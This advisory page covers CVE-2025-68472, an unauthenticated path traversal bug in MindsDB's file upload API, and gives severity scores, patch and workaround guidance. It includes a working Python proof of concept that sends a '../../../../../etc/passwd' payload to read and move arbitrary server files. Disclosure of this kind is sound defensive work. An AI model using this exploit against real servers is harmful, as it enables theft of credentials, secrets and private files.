CVE-2025-68472 — mindsdb
HIGHCVE-2025-68472 is a high-severity (CVSS 8.1) Path Traversal vulnerability in mindsdb. EPSS puts its 30-day exploitation probability at 20.3% (97th percentile). A fix is available for mindsdb — see the affected versions and patch details below.
MindsDB has improper sanitation of filepath that leads to information disclosure and DOS
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-68472.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
mindsdbReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
BlueRock discovered an unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data.
Details
The PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and source_type is not "url":
data = request.json(line ~104) accepts attacker input without validation.file_path = os.path.join(temp_dir_path, data["file"])(line ~178) creates the path inside a temporary directory, but ifdata["file"]is absolute (e.g.,/home/secret.csv),os.path.joinignorestemp_dir_pathand targets the attacker-specified location.- The resulting path is handed to
ca.file_controller.save_file(...), which wrapsFileReader(path=source_path)(mindsdb/interfaces/file/file_controller.py:66), causing the application to read the contents of that arbitrary file. The subsequentshutil.move(file_path, ...)call also relocates the victim file into MindsDB’s managed storage.
Only multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to clear_filename or equivalent checks.
PoC
- Run MindsDB in Docker:
docker pull mindsdb/mindsdb:latest docker run --rm -it -p 47334:47334 --name mindsdb-poc mindsdb/mindsdb:latest - Execute the exploit from the host (save as poc.py and run with
python poc.py):# poc.py import requests, json base = "http://127.0.0.1:47334" payload = {"file": "../../../../../etc/passwd"} # no source_type -> hits vulnerable branch r = requests.put(f"{base}/api/files/leak_rel", json=payload, timeout=10) print("PUT status:", r.status_code, r.text) q = requests.post( f"{base}/api/sql/query", json={"query": "SELECT * FROM files.leak_rel"}, timeout=10, ) print("SQL response:", json.dumps(q.json(), indent=2)) - The SQL response returns the contents of
/etc/passwd. The original file disappears from its source location because the handler moves it into MindsDB’s storage directory. - Detailed report is available on BlueRock's blog: https://www.bluerock.io/post/cve-2025-68472-mindsdb-file-upload-path-traversal
Impact
- Any user able to reach the REST API can read and exfiltrate arbitrary files that the MindsDB process can access, potentially including credentials, configuration secrets, and private keys.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | mindsdb | all versions | 25.11.1pip install --upgrade 'mindsdb==25.11.1' |
Affected Products
mindsdbmindsdbDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mindsdb, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update mindsdb to 25.11.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-68472 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is CVE-2025-68472 in your dependencies?
Find it across PyPI, including transitive dependencies.